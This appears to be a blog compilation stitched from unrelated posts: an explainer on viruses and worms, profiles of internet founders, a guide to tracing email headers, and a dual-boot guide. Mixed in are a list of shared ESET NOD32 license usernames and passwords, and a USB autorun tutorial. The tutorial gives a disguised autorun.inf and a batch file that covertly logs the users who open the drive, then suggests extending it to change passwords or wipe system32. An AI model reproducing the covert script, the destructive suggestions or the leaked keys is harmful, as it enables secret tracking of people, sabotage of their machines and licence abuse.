How Computer Viruses Work

How Computer Viruses Work

How Computer Viruses Work

Computer viruses tend to grab our attention. On the one hand, viruses show us how vulnerable we are. A properly engineered virus can have an amazing effect on the worldwide Internet. On the other hand, they show how sophisticated and interconnected human beings have become.

For example, experts estimate that the Mydoom worm infected approximately a quarter-million computers in a single day in January 2004. (Times Online). Back in March 1999, the Melissa virus was so powerful that it forced Microsoft and a number of other very large companies to completely turn off their e-mail systems until the virus could be contained. The ILOVEYOU virus in 2000 had a similarly devastating effect. That's pretty impressive when you consider that the Melissa and ILOVEYOU viruses are incredibly simple.

In this article, we will discuss viruses -- both "traditional" viruses and the newer e-mail viruses -- so that you can learn how they work and also understand how to protect yourself. Viruses in general are on the wane, but occasionally a person finds a new way to create one, and that's when they make the news.

Types of Infection
When you listen to the news, you hear about many different forms of electronic infection. The most common are:

* Viruses - A virus is a small piece of software that piggybacks on real programs. For example, a virus might attach itself to a program such as a spreadsheet program. Each time the spreadsheet program runs, the virus runs, too, and it has the chance to reproduce (by attaching to other programs) or wreak havoc.

* E-mail viruses - An e-mail virus moves around in e-mail messages, and usually replicates itself by automatically mailing itself to dozens of people in the victim's e-mail address book.

* Worms - A worm is a small piece of software that uses computer networks and security holes to replicate itself. A copy of the worm scans the network for another machine that has a specific security hole. It copies itself to the new machine using the security hole, and then starts replicating from there, as well.

* Trojan horses - A Trojan horse is simply a computer program. The program claims to do one thing (it may claim to be a game) but instead does damage when you run it (it may erase your hard disk). Trojan horses have no way to replicate automatically.

What's a "Virus"?
Computer viruses are called viruses because they share some of the traits of biological viruses. A computer virus passes from computer to computer like a biological virus passes from person to person.

There are similarities at a deeper level, as well. A biological virus is not a living thing. A virus is a fragment of DNA inside a protective jacket. Unlike a cell, a virus has no way to do anything or to reproduce by itself -- it is not alive. Instead, a biological virus must inject its DNA into a cell. The viral DNA then uses the cell's existing machinery to reproduce itself. In some cases, the cell fills with new viral particles until it bursts, releasing the virus. In other cases, the new virus particles bud off the cell one at a time, and the cell remains alive.

A computer virus shares some of these traits. A computer virus must piggyback on top of some other program or document in order to get executed. Once it is running, it is then able to infect other programs or documents. Obviously, the analogy between computer and biological viruses stretches things a bit, but there are enough similarities that the name sticks.

What's a "Worm"?
A worm is a computer program that has the ability to copy itself from machine to machine. Worms normally move around and infect other machines through computer networks. Using a network, a worm can expand from a single copy incredibly quickly. For example, the Code Red worm replicated itself over 250,000 times in approximately nine hours on July 19, 2001.

A worm usually exploits some sort of security hole in a piece of software or the operating system. For example, the Slammer worm (which caused mayhem in January 2003) exploited a hole in Microsoft's SQL server. This article offers a fascinating look inside Slammer's tiny (376 byte) program.

Code Red
Worms use up computer time and network bandwidth when they are replicating, and they often have some sort of evil intent. A worm called Code Red made huge headlines in 2001. Experts predicted that this worm could clog the Internet so effectively that things would completely grind to a halt.

The Code Red worm slowed down Internet traffic when it began to replicate itself, but not nearly as badly as predicted. Each copy of the worm scanned the Internet for Windows NT or Windows 2000 servers that do not have the Microsoft security patch installed. Each time it found an unsecured server, the worm copied itself to that server. The new copy then scanned for other servers to infect. Depending on the number of unsecured servers, a worm could conceivably create hundreds of thousands of copies.

The Code Red worm was designed to do three things:

* Replicate itself for the first 20 days of each month
* Replace Web pages on infected servers with a page that declares "Hacked by Chinese"
* Launch a concerted attack on the White House Web server in an attempt to overwhelm it

The most common version of Code Red is a variation, typically referred to as a mutated strain, of the original Ida Code Red that replicated itself on July 19, 2001. According to the National Infrastructure Protection Center:

The Ida Code Red Worm, which was first reported by eEye Digital Security, is taking advantage of known vulnerabilities in the Microsoft IIS Internet Server Application Program Interface (ISAPI) service. Un-patched systems are susceptible to a "buffer overflow" in the Idq.dll, which permits the attacker to run embedded code on the affected system. This memory resident worm, once active on a system, first attempts to spread itself by creating a sequence of random IP addresses to infect unprotected web servers. Each worm thread will then inspect the infected computer's time clock. The NIPC has determined that the trigger time for the DOS execution of the Ida Code Red Worm is at 0:00 hours, GMT on July 20, 2001. This is 8:00 PM, EST.

Upon successful infection, the worm would wait for the appointed hour and connect to the www.whitehouse.gov domain. This attack would consist of the infected systems simultaneously sending 100 connections to port 80 of www.whitehouse.gov (198.137.240.91).

The U.S. government changed the IP address of www.whitehouse.gov to circumvent that particular threat from the worm and issued a general warning about the worm, advising users of Windows NT or Windows 2000 Web servers to make sure they have installed the security patch.

Early Cases: Executable Viruses
Early viruses were pieces of code attached to a common program like a popular game or a popular word processor. A person might download an infected game from a bulletin board and run it. A virus like this is a small piece of code embedded in a larger, legitimate program. Any virus is designed to run first when the legitimate program gets executed. The virus loads itself into memory and looks around to see if it can find any other programs on the disk. If it can find one, it modifies it to add the virus's code to the unsuspecting program. Then the virus launches the "real program." The user really has no way to know that the virus ever ran. Unfortunately, the virus has now reproduced itself, so two programs are infected. The next time either of those programs gets executed, they infect other programs, and the cycle continues.

If one of the infected programs is given to another person on a floppy disk, or if it is uploaded to a bulletin board, then other programs get infected. This is how the virus spreads.

The spreading part is the infection phase of the virus. Viruses wouldn't be so violently despised if all they did was replicate themselves. Unfortunately, most viruses also have some sort of destructive attack phase where they do some damage. Some sort of trigger will activate the attack phase, and the virus will then "do something" -- anything from printing a silly message on the screen to erasing all of your data. The trigger might be a specific date, or the number of times the virus has been replicated, or something similar.

Boot Sector Viruses
As virus creators got more sophisticated, they learned new tricks. One important trick was the ability to load viruses into memory so they could keep running in the background as long as the computer remained on. This gave viruses a much more effective way to replicate themselves. Another trick was the ability to infect the boot sector on floppy disks and hard disks. The boot sector is a small program that is the first part of the operating system that the computer loads. The boot sector contains a tiny program that tells the computer how to load the rest of the operating system. By putting its code in the boot sector, a virus can guarantee it gets executed. It can load itself into memory immediately, and it is able to run whenever the computer is on. Boot sector viruses can infect the boot sector of any floppy disk inserted in the machine, and on college campuses where lots of people share machines they spread like wildfire.

In general, both executable and boot sector viruses are not very threatening any more. The first reason for the decline has been the huge size of today's programs. Nearly every program you buy today comes on a compact disc. Compact discs cannot be modified, and that makes viral infection of a CD impossible. The programs are so big that the only easy way to move them around is to buy the CD. People certainly can't carry applications around on a floppy disk like they did in the 1980s, when floppies full of programs were traded like baseball cards. Boot sector viruses have also declined because operating systems now protect the boot sector.

Both boot sector viruses and executable viruses are still possible, but they are a lot harder now and they don't spread nearly as quickly as they once could. Call it "shrinking habitat," if you want to use a biological analogy. The environment of floppy disks, small programs and weak operating systems made these viruses possible in the 1980s, but that environmental niche has been largely eliminated by huge executables, unchangeable CDs and better operating system safeguards.

E-mail Viruses
The latest thing in the world of computer viruses is the e-mail virus, and the Melissa virus in March 1999 was spectacular. Melissa spread in Microsoft Word documents sent via e-mail, and it worked like this:

Someone created the virus as a Word document uploaded to an Internet newsgroup. Anyone who downloaded the document and opened it would trigger the virus. The virus would then send the document (and therefore itself) in an e-mail message to the first 50 people in the person's address book. The e-mail message contained a friendly note that included the person's name, so the recipient would open the document thinking it was harmless. The virus would then create 50 new messages from the recipient's machine. As a result, the Melissa virus was the fastest-spreading virus ever seen! As mentioned earlier, it forced a number of large companies to shut down their e-mail systems.

The ILOVEYOU virus, which appeared on May 4, 2000, was even simpler. It contained a piece of code as an attachment. People who double clicked on the attachment allowed the code to execute. The code sent copies of itself to everyone in the victim's address book and then started corrupting files on the victim's machine. This is as simple as a virus can get. It is really more of a Trojan horse distributed by e-mail than it is a virus.

The Melissa virus took advantage of the programming language built into Microsoft Word called VBA, or Visual Basic for Applications. It is a complete programming language and it can be programmed to do things like modify files and send e-mail messages. It also has a useful but dangerous auto-execute feature. A programmer can insert a program into a document that runs instantly whenever the document is opened. This is how the Melissa virus was programmed. Anyone who opened a document infected with Melissa would immediately activate the virus. It would send the 50 e-mails, and then infect a central file called NORMAL.DOT so that any file saved later would also contain the virus! It created a huge mess.

Microsoft applications have a feature called Macro Virus Protection built into them to prevent this sort of thing. With Macro Virus Protection turned on (the default option is ON), the auto-execute feature is disabled. So when a document tries to auto-execute viral code, a dialog pops up warning the user. Unfortunately, many people don't know what macros or macro viruses are, and when they see the dialog they ignore it, so the virus runs anyway. Many other people turn off the protection mechanism. So the Melissa virus spread despite the safeguards in place to prevent it.

In the case of the ILOVEYOU virus, the whole thing was human-powered. If a person double-clicked on the program that came as an attachment, then the program ran and did its thing. What fueled this virus was the human willingness to double-click on the executable.

An Ounce of Prevention
You can protect yourself against viruses with a few simple steps:

* If you are truly worried about traditional (as opposed to e-mail) viruses, you should be running a more secure operating system like UNIX. You never hear about viruses on these operating systems because the security features keep viruses (and unwanted human visitors) away from your hard disk.

* If you are using an unsecured operating system, then buying virus protection software is a nice safeguard.

* If you simply avoid programs from unknown sources (like the Internet), and instead stick with commercial software purchased on CDs, you eliminate almost all of the risk from traditional viruses. In addition, you should disable floppy disk booting -- most computers now allow you to do this, and that will eliminate the risk of a boot sector virus coming in from a floppy disk accidentally left in the drive.

* You should make sure that Macro Virus Protection is enabled in all Microsoft applications, and you should NEVER run macros in a document unless you know what they do. There is seldom a good reason to add macros to a document, so avoiding all macros is a great policy.


Open the Options dialog from the Tools menu in Microsoft Word and make sure that Macro Virus Protection is enabled, as shown.

* You should never double-click on an attachment that contains an executable that arrives as an e-mail attachment. Attachments that come in as Word files (.DOC), spreadsheets (.XLS), images (.GIF and .JPG), etc., are data files and they can do no damage (noting the macro virus problem in Word and Excel documents mentioned above). A file with an extension like EXE, COM or VBS is an executable, and an executable can do any sort of damage it wants. Once you run it, you have given it permission to do anything on your machine. The only defense is to never run executables that arrive via e-mail.

By following those simple steps, you can remain virus free.

Origins
People create viruses. A person has to write the code, test it to make sure it spreads properly and then release the virus. A person also designs the virus's attack phase, whether it's a silly message or destruction of a hard disk. So why do people do it?

There are at least three reasons. The first is the same psychology that drives vandals and arsonists. Why would someone want to bust the window on someone else's car, or spray-paint signs on buildings or burn down a beautiful forest? For some people that seems to be a thrill. If that sort of person happens to know computer programming, then he or she may funnel energy into the creation of destructive viruses.

The second reason has to do with the thrill of watching things blow up. Many people have a fascination with things like explosions and car wrecks. When you were growing up, there was probably a kid in your neighborhood who learned how to make gunpowder and then built bigger and bigger bombs until he either got bored or did some serious damage to himself. Creating a virus that spreads quickly is a little like that -- it creates a bomb inside a computer, and the more computers that get infected the more "fun" the explosion.

The third reason probably involves bragging rights, or the thrill of doing it. Sort of like Mount Everest. The mountain is there, so someone is compelled to climb it. If you are a certain type of programmer and you see a security hole that could be exploited, you might simply be compelled to exploit the hole yourself before someone else beats you to it. "Sure, I could TELL someone about the hole. But wouldn't it be better to SHOW them the hole" That sort of logic leads to many viruses.

Of course, most virus creators seem to miss the point that they cause real damage to real people with their creations. Destroying everything on a person's hard disk is real damage. Forcing the people inside a large company to waste thousands of hours cleaning up after a virus is real damage. Even a silly message is real damage because a person then has to waste time getting rid of it. For this reason, the legal system is getting much harsher in punishing the people who create viruses.

History
Traditional computer viruses were first widely seen in the late 1980s, and they came about because of several factors. The first factor was the spread of personal computers (PCs). Prior to the 1980s, home computers were nearly non-existent or they were toys. Real computers were rare, and they were locked away for use by "experts." During the 1980s, real computers started to spread to businesses and homes because of the popularity of the IBM PC (released in 1982) and the Apple Macintosh (released in 1984). By the late 1980s, PCs were widespread in businesses, homes and college campuses.

The second factor was the use of computer bulletin boards. People could dial up a bulletin board with a modem and download programs of all types. Games were extremely popular, and so were simple word processors, spreadsheets, etc. Bulletin boards led to the precursor of the virus known as the Trojan horse. A Trojan horse is a program that sounds really cool when you read about it. So you download it. When you run the program, however, it does something uncool like erasing your disk. So you think you are getting a neat game but it wipes out your system. Trojan horses only hit a small number of people because they are discovered quickly. Either the bulletin board owner would erase the file from the system or people would send out messages to warn one another.

The third factor that led to the creation of viruses was the floppy disk. In the 1980s, programs were small, and you could fit the operating system, a word processor (plus several other programs) and some documents onto a floppy disk or two. Many computers did not have hard disks, so you would turn on your machine and it would load the operating system and everything else off of the floppy disk.

Viruses took advantage of these three facts to create the first self-replicating programs.

PEOPLE WHO CHANGED THE INTERNET

PEOPLE WHO CHANGED THE INTERNET

From its birth in the labs of Tim Berners-Lee back in 1992, to its interaction with the Napster in 1999, and its 2004 induction of Wikipedia: the Internet as we know it, has evolved drastically, been around the world literally, and changed the way humans live permanently.

Nothing can replace it, nothing is like it, and it has no alternative. The internet is like a diamond mine for the people who wish to acquire wealth, a profound lake of information for those who have an insatiable appetite for knowledge, and an eternal form of entertainment for those wish to amuse themselves.

With the passage of time, people from amongst us have emerged with the craziest of ideas to test and enhance the potential of this God’s gift to mankind. And it is due to the efforts of these noble souls, that we have the entire world at the simple tap of our fingers.

Sir Tim Berners-Lee – World Wide Web

Sir Tim Berners-Lee; the father of World Wide Web. On 25 December 1990 he implemented the first successful communication between an HTTP client and server via the Internet with the help of Robert Cailliau and a young student staff at CERN.

Sir Tim Berners-Lee is also the founder of World Wide Web Consortium (W3C) at Massachusetts Institute of Technology which comprises of companies that are willing to create standards and improvements of the Web.

From my point of view, if it wasn’t for him, none of the below mentioned personalities existed.

Larry Page and Sergey Brin – Google Inc.

Two PhDs from Stanford University started work in the garage of a friend’s. And they were defiantly not building steam engines!

They were, however, creating the internet’s most powerful search engine. Sergey Brin and Larry Page are arguably the world’s most successful Internet entrepreneurs and developers in history. This enabled them to earn billions, while assisting everyone from high school students to particle physicists have an easy time searching for information over the internet.

Google was first launched on Stanford’s website (google.stanford.edu) and then finally on Google.com in 1997. It is estimated that GOOGLE is worth about a staggering $25 billion dollars.

David Filo and Jerry Yang – Yahoo! Inc.

Yahoo! too is the creation of two Stanford University’s Electrical Engineer graduates, called Jerry Yang and David Filo. Yang started by listing web pages on the Internet and named it “Jerry’s Guide to the World Wide Web”. Then, he decided to switch it to Yahoo! and the initial URL was at akebono.stanford.edu/yahoo

In December 1994, that particular website had already received over a million hits. Realizing its potential, David Filo and Jerry Yang got serious and diversified Yahoo! as a web portal.

David Filo’s net worth is $2.9 billion dollars and Jerry Yang’s is $2.3 billion dollars.

Bill Gates – Microsoft

William Henry “Bill” Gates III, is an American business magnate, philanthropist, the world’s third richest person (as of February 8, 2008), and chairman of Microsoft, the software company he founded with Paul Allen.

Gates is one of the best-known entrepreneurs of the personal computer revolution. In the later stages of his career, Gates has pursued a number of philanthropic endeavors, donating large amounts of money to various charitable organizations and scientific research programs through the Bill & Melinda Gates Foundation, established in 2000.

Gates also holds the record of being the Richest Person in the world for 15 consecutive years.

Steven Paul Jobs – Apple Inc.

Steven Paul Jobs is the co-founder, Chairman, and CEO of Apple Inc. and former CEO of Pixar Animation Studios.

In the late 1970s, Jobs, with Apple co-founder Steve Wozniak, created one of the first commercially successful personal computers. In the early 1980s, Jobs was among the first to see the commercial potential of the mouse-driven GUI (Graphical User Interface)

After losing a power struggle with the board of directors in 1985, Jobs resigned from Apple and founded NeXT, a computer platform development company specializing in the higher education and business markets.

Jobs is currently the Walt Disney Company’s largest individual shareholder and a member of its Board of Directors. He is considered a leading figure in both the computer and industries.

Mark Zuckerberg – Facebook

One of the most admired and successful youngster of the 21st century is a 24 years old Harvard graduate – the world’s youngest billionaire, with an estimated net worth of $1.5 billion

He founded Facebook, the online social networking website. Zuckerberg launched The Facebook (FaceMatch) from his Harvard dorm room in 2004 and started promoting it to all Ivy League schools and some Boston institutions.

Soon, he bought over Facebook.com domain name. Facebook is now a household name with people of all ages, groups and interests, interacting with each other. Its business and pleasure at the same time!

Kevin Rose – Digg

You all know Kevin, don’t you? Perhaps one of the most respected internet idealist and TV show host, Kevin Rose has definitely placed a huge impacts among all Digg users.

He became well known as an on-air talent and later as a co-host working on TechTV’s popular show The Screen Savers (which later became Attack of the Show! ) until his departure from the network on May 2005.

He also co-founded Pownce and Revision3 besides his popular Digg.com, social-bookmarking website. He created Digg in 2004 by hiring a freelance programmer who Kevin Rose paid $12 per hour through eLance.

Kevin Rose later bought Digg.com domain name for $1,200 and then went on to buy larger server space. Digg received an ultra boost of capitals when they received $2.8 million of venture capital from Omidyar Network, Netscape co-founder Marc Andreessen and Greylock Partners.

Jimmy Wales – Wikipedia

Jimmy Wales is the co-founder of Wikipedia: a free and open content encyclopedia launched in 2001. He is also the co-founder of Wikia, a privately own web hosting company set up in 2004.

Jimmy Wales at first started a peer-reviewed, open-content encyclopedia which is Nupedia. He then utilized the ideas of Nupedia with his “wiki” software to form today’s Wikipedia.

His work with Wikipedia, which has become the world’s largest encyclopedia, prompted Time magazine to name him in its 2006 list of the world’s most influential people.

Chad Hurley and Steve Chen – YouTube

Chad Hurley (aged 28) and Steve Chen (aged 27) became the founders of the popular San Bruno, California-based video sharing website YouTube, one of the biggest providers of videos on the Internet.

Chad Hurley used to work for eBay’s PayPal in the designing department where he designed their logo. Together with PayPal colleagues, Jared Karim and Steve Chen, Chad founded YouTube in 2005.

Google later acquired YouTube at $1.65 billion dollars.

Jeff Preston Bezos – Amazon

Jeff Bezos is the founder, chairman of board, president and the chief executive officer of Amazon.com, a major e-commerce company that sells goods through the Internet. His net worth is currently at $8.2 billion dollars.

He was named Time magazine Person of the Year in 1999.

Thomas Anderson – MySpace

Thomas “Tom” Anderson is the President of the social networking website, MySpace. He is one of the people identified as a founder of the site, along with CEO Chris DeWolfe.

Since newly created MySpace accounts include Tom as a default “friend,” he has become known as the face of MySpace. As of November 20, 2008, Tom has over 250 million “friends”, a number which is constantly increasing due to new MySpace accounts being created.

In 2003, working for eUniverse under the preview of Brad Greenspan he and a few other eUniverse employs set up the first pages of MySpace and the site grew from there. It is currently the most popular social networking website in the United States, and is the most popular website for teenagers as well.

Interesting Fact: According to several sources, in 1985 then 14-year-old San Pasqual High School (Escondido, California) student Tom Anderson was a computer hacker operating under the alias “Lord Flathead“.

He was known for leading a team that broke into Chase Manhattan Bank computers, altered records and left a message saying that unless he was given free use of the system he would destroy records. He was never charged.

Linus Torvalds – Linux

Linus Benedict Torvalds is a Finnish software engineer best known for having initiated the development of the Linux kernel. He later became the chief architect of the Linux kernel, and now acts as the project’s coordinator.

Initially Torvalds wanted to call the kernel he developed “Freax” – a combination of “free”, “freak”, and the letter X to indicate that it is a Unix-like system, but his friend Ari Lemmke, who administered the FTP server where the kernel was first hosted for downloading, named Torvalds’ directory linux.

Since Linux has had thousands of contributors, such a percentage represents a significant personal contribution to the overall amount of code. Torvalds remains the ultimate authority on what new code is incorporated into the standard Linux kernel.

Jack Dorsey – Twitter

Jack Dorsey is an American software architect and businessperson best known as the creator of Twitter – a free social networking and micro-blogging service. BusinessWeekTechnology Review named him to the TR35, an outstanding innovator under the age of 35. called him one of technology’s best and brightest. MIT’s

Dorsey, Stone and Williams co-founded Obvious which then spun off Twitter Inc. As chief executive officer, Dorsey saw the startup through two rounds of funding by the venture capitalists who back the company. In October 2008 Williams took over the role of CEO, and Dorsey became chairman of the board.

As the service grew in popularity, Dorsey had to choose improving uptime as top priority— even over creating revenue, which as of 2008, Twitter was not designed to earn.

My PC Hacked! huh...I don't keep anything important for him to take

Hi Home User,

I don't do Netbanking, shopping using Credit cards, don't store anything important in my home PC, then why would a cracker hack my PC?

You too, like most of home users, might have the same perception.

Now let me show you how dangerous your "hacked pc" could become, for you and for others, after it has been hacked.

See the picture carefully:



So in nutshell your PC could be used as a "Launching Pad" to further launch attacks.
Just imagine if some cracker try to hack into Indian Army Computers through your computer, offcourse your IP Address would be logged there and cops would be knocking your doors!!!

The graphic above shows the different reasons criminals may want access to your system. Author has explained each category in more detail below:

Illicit Web Hosting

Cyber criminals commonly use hacked PCs as a host for a variety of dodgy Web hosting schemes, including:

- Spam Web sites

- Phishing Web sites

- Malware download sites

- "Warez" servers, or hosts for pirated software and movies.

- Child pornography servers

Zombie Grunt Work

Infected PCs also frequently are turned into zombies designed to carry out all sorts of monotonous, repetitive tasks for cyber crooks, such as:

- Relaying junk e-mail

- Participating in so-called denial-of-service attacks designed to extort money from Web sites by pelting them with massive amounts of bogus Web traffic if they refuse to pay protection money;

- Engaging in "click fraud," which uses zombies to gin up fake mouse clicks for networks of phony Web sites that siphon money from advertisers.

- Serving as a proxy through which bad guys route their Web traffic.

- Providing computational power that criminals use to help solve CAPTCHA challenges, the squiggly lines of numbers and letters many free Web mail services require you to solve - designed to tell humans apart from zombies.

E-Mail/Webmail Attacks

An infected PC potentially has great value to spammers and attackers beyond simply acting as a relay for junk e-mail. For example, compromised systems typically are harvested for e-mail addresses that will be sold and used in future phishing and spam attacks.

An attacker doesn't need to compromise an Internet user's computer to wreak havoc with their identity and online life. A compromised Webmail account, for example, can yield a bounty of useful information because many people often will use the same e-mail address and password for multiple services. (Even if the victim uses different passwords at each service, usually those passwords can be reset as long as the attacker has access to the victim's inbox).

Hacked Webmail accounts also frequently are used to scam the victim's friends. Sometimes, crooks will use a hijacked Webmail account to blast out tailored spam to all of the victim's contacts, usually recommending some no-name, bargain basement e-commerce site that is set up merely to steal credit and debit card information.

Another long-running scam involving hacked Webmail accounts goes like this: Scammers blast out a note to all of the victim's contacts, claiming that the victim has become stranded in some foreign country and desperately needs friends and family to wire money.

Account Credentials

Any stored credentials -- particularly user names and passwords for online services - are fair game on hacked PCs. Stolen eBay credentials often are used to abuse the victim's good reputation and used to list non-existent or stolen items for auction. Compromised Paypal records can aid in these bogus auctions as well, or drained of its funds. Credentials for voice-over-IP or Internet-based telephone services like Skype also are a hot item on underground cyber criminal forums, because they can be used to mask the caller's location and aid in a variety of scams.

Credentials that victims use to administer Web sites -- even social networking site Web pages -- can be of huge value to cyber crooks. A number of automated threats will scrape credentials that victims use to transfer files to and from any personal or professional Web sites they may administer. Stolen file transfer protocol (FTP) credentials, for example, give attackers control over the victim's site, which is often then use to host malicious programs or other illicit content that helps further a variety of online criminal schemes.

Finally, credentials that allow access to the network of the victim's employer or company can be of great interest to digital thieves. In many corporate environments, employees cannot log in remotely without having a special, password protected encryption certificate saved on their computer. Some families of malicious software -- including the Sinowal or Torpig Trojan -- will try to steal these certs from infected systems.

Virtual Goods

Virtual goods, those that have seemingly intangible value, are among the most sought-after commodities in the general hacking scene. Entire families of malware exist to harvest license keys for thousands of computer games and steal credentials that gain access to online games in which a player's worth is determined largely by the amount of virtual goods his or her character has amassed. There is a mature, multi-billion dollar market for these accounts, and the goods themselves, at least some of which is stolen from compromised PCs.

Financial Credentials

When casual Internet users think about the value of their PC to cyber crooks, they typically think stolen credit card numbers and online banking passwords. But as we have seen, those credentials are but one potential area of interest for attackers.

This is by no means an exhaustive list.

I hope this information will let you realize how dangerous your "scrap" PC could become if hacked by crackers.
Secure your PC's

How To Trace Your Emails Back To The Source

Most people won’t notice this, but emails actually arrive in your inbox with a ‘receipt’, which contains a lot of information about the sender. In order to find the sender’s identity, we only need to retrieve an IP address, but inside the email header we can also find the originating domain, reply-to address and sometimes even the email client, for example Thunderbird.

Why would you want to find out the identity of the sender? Well, you may have heard of shady email scams or emails supposedly from Paypal inviting you to re-enter your personal information. Now, you can determine if an email is truly from the authentic source.

Accessing the email header is different for every email provider or email application, and sometimes, it is even hidden. In most of the cases however, the option to reveal the full header will be somewhere in the area where the subject and sender name are provided.

For example, the Yahoo! Mail header is in the upper right corner of the sender box, which is pointed out in the screenshot above. When you click Show Original, a text file will open in a new tab. This file contains all the necessary headers at the start. They are highlighted in screenshots.

And this is how the full email header appears in Yahoo! Mail:

For Gmail, the header is hidden under ‘Show Original’ – which will show you the complete email in plain text, including the header.

The example below is the header from an email I received in GMail.

In order to find out the IP address of the original sender, we need to look closely at the first half of the header. Somewhere in there, you’ll find a domain name and an IP address. Particularly, take a closer look at the term ‘Received: from’:

The first ‘Received: from’ line gives us the IP address of the server which forwarded the email to my Gmail address.

Received: from smtp110.biz.mail.mud.yahoo.com(smtp110.biz.mail.mud.yahoo.com [68.142.201.179])

If we continue our search, the second ‘Received: from’ line gives us the originating IP address.

Received: from unknown (HELO ?192.168.0.100?) (chaz@68.108.204.242 with plain)

This means that Chaz, located at 68.108.204.242 sent me an email.

The next line will only appear if the email was sent using an email application residing on the sender’s computer, like Thunderbird or Apple Mail. In our case:

X-Mailer: Apple Mail (2.753.1)

If the user sent the email using the web interface, the string would have looked like this:

Received: from [158.143.189.83] by web56706.mail.re3.yahoo.com via HTTP

We have the originating IP address 68.108.204.242 . To find out who’s behind that IP address we need to do a reverse DNS lookup using a web service like DomainTools, the command line or from ‘Network Tools’ in Ubuntu.

In our case, we know that someone called Chaz from Atlanta, using Cox Communications – with an IP address 68.108.204.242, depending on the subnet mask, sent that email.

Alternatively, you could use a tool called Email Trace, that does the whole operation for you after inputing the full email header into the text box. It might not always work, so knowing how to do it the old fashion way might come in handy.

This proves useful if you’re trying to report a spammer to your ISP, find out where a certain person is located at the moment, or help you spot phishing emails. For example, PayPal couldn’t have sent an email from an IP address in China.

ESET Escalation ID: 1 July, 2009

Nod32 Eset Keys

UserName: EAV-17679404
PassWord: pn7sev52xd

UserName: EAV-15680020
PassWord: 6ks7juk4hh

Username:TRIAL-17971387
Password:25u4f8bmmb

Username:TRIAL-17824362
Password:hkjjxudk2c

Username:TRIAL-17928084
Password:c3j2v4s6ja

Username:TRIAL-17973571
Password:bf623ccrkn

*** Dualboot Vista with XP--Install XP over Vista ***

he question I am asked most often is "How do I install a dual-boot with Windows XP on my new Windows Vista computer?" The answer is that it's not that difficult, it's just very time consuming, and you need to own a copy of Windows XP.

Note that you should not attempt this if you aren't ready to troubleshoot any problems that might occur.

The first issue we encounter is that computers with pre-installed operating systems take up the entire drive. Luckily Microsoft included the Shrink volume feature in Vista, so we can easily shrink the Vista partition down to make room for XP.

Open the Computer

Management panel, which you can find under Administrative tools or by right-clicking the Computer item in the start menu and choosing Manage. Find the Disk Management item in the list and select that.

Now we'll shrink our volume down by right-clicking on the main hard drive and choosing Shrink Volume. Now you can choose the size that you want to shrink, which really means you are choosing the size that you want your XP partition to be. Whatever you do, don't just use the default. I chose roughly 10gb by entering 10000 into the amount.

The next step might be confusing, because we need to change the cd-rom drive that's invariably taking up D: at the moment, because we want to use D: for the Windows XP partition, but it's already taken by the cd-rom drive. If you skip this step than XP will install onto the E: drive, which isn't the end of the world, but it's not quite as tidy.

Right-click on the cd-rom drive in the list and choose Change Drive Letter and Paths from the menu.

Now we'll change the CD drive to use E: by selecting that in the drop-down.

Now we can create a new partition for XP to live on and make sure that the drive letter is set the way we want. If you do not create a partition now the XP install will do so automatically, but it's easier and cleaner to do it this way.

Right-click on the Unallocated free space area and then select New Simple Volume from the menu.

Follow through the wizard and select whatever options you'd like, making sure to use D: as the drive letter.

Now you will need to close out of disk management and reboot your computer. This is because we can't do the next step until we reboot. (you can try, but it won't work)

So we've come back from rebooting… open up Computer from the start menu and then right-click on the D: drive and select properties. Give your partition a meaningful name like "XP". It would be wise to name the C: drive to "Vista" at this point as well.

Now you'll want to pop your XP cd into the drive and boot off it. You may have to configure your BIOS to enable booting off the CD drive, or if your computer says something like "Hit Esc for boot menu" you might want to use that.

Once you come to the screen where you can choose the partition to install on, then choose either the unpartitioned space or the new partition you created. Whatever you do, don't try and install onto your Vista partition! See how much cleaner it is now that we've labeled each partition distinctly?

We'll assume XP is completely installed at this point, and you will have lost your ability to boot into Windows Vista, so we'll need to use the VistaBootPro utility to restore the Vista boot loader.

Download and install VistaBootPro

During the install you'll be forced to install the .NET 2.0 framework. Open up VistaBootPRO and then click on the System Bootloader tab. Check the "Windows Vista Bootloader" and then "All Drives" radio buttons, and then click on the Install Bootloader button.

At this point, the Windows Vista bootloader is installed and you'll only be able to boot into Vista, but we'll fix that. Instead of manually doing the work, we'll just click the Diagnostics menu item and then choose Run Diagnostics from the menu.

This will scan your computer and then automatically fill in the XP version.. click on the "Manage OS Entries" tab and then click in the textbox for Rename OS Entry, and name it something useful like "Windows XP" or "The Windows That Works"

Click the Apply Updates button and then reboot your computer… you should see your shiny new boot manager with both operating systems in the list!

If you get an error saying "unable to find ntldr" when trying to boot XP, you'll need to do the following:

• Find the hidden files ntldr and ntdetect.com in the root of your Vista drive and copy them to the root of your XP drive.
• If you can't find the files there, you can find them in the \i386\ folder on your XP install cd

This is a critical piece of information: Windows XP will be installed on the D: drive, even in Windows XP… so you'll need to keep that in mind when tweaking your system.

You can share information between the drives, but I wouldn't recommend messing with the other operating system's partition too much… it might get angry and bite you. Or screw up your files. What I do recommend is that you store most of your files on a third drive shared between the operating systems… you could call that partition "Data".

*** Track USB drive users ***

I got an interesting email from my blog reader Reynold who asked me that how he can track users who used his USB drive after he has given it to someone. He wanted to get the usernames of the accounts where the pendrive was used. I thought for a while and told him that he can achieve this feat either by using Trojans or a combination of Batch and Autorun files. However,you must advise users to not to format the pendrive in order for this to work.The second option of Batch files was easy and less suspicious.So Here is how I made it possible to get the usernames when the pendrive was plugged into the PC -

Create an autorun.inf file on the root of your flash drive/Pendrive with the following contents:

[autorun]
open=username.bat
action=Open folder to view files

Now, create a batch file called username.bat with the following contents:

@echo off
echo %username%>>users.dat
date /t>>users.dat
time /t>>users.dat
start "Explorer" %SystemRoot%\explorer.exe

NOTE : The Last Line of the code is optional which will open the explorer in a new window.

Save both file and you are good to go. Now whenever a user plugs your pendrive into their PC,it will display an autoplay option indicating that they have to click on the icon to open the drive to view its contents. A small DOS window will flash for a moment and then disappear.Now If you go into the root of the drive, you will find a new file called users.dat which will record the user names of all the users who have accessed your drive by clicking on the icon. You can open the DAT file using notepad and view its contents.

However..This is not a fool proof method as some geeks disable the autoplay option (or disable writing to USB drives) ,or they just bypass it by pressing RISHT SHIFT key when the pendrive is connected and hence their name will not be recorded or they can delete the users.dat file. But that said,it will work fine nevertheless :)

NOTE 2 : Umm..I think the above code is way too easy and harmless,why not to get creative and create a batch file which will even change the password ?(DOS NET commands) or even wipe out system32 of your nemesis (cacls command) ?

***How to hack passwords using USB drive***

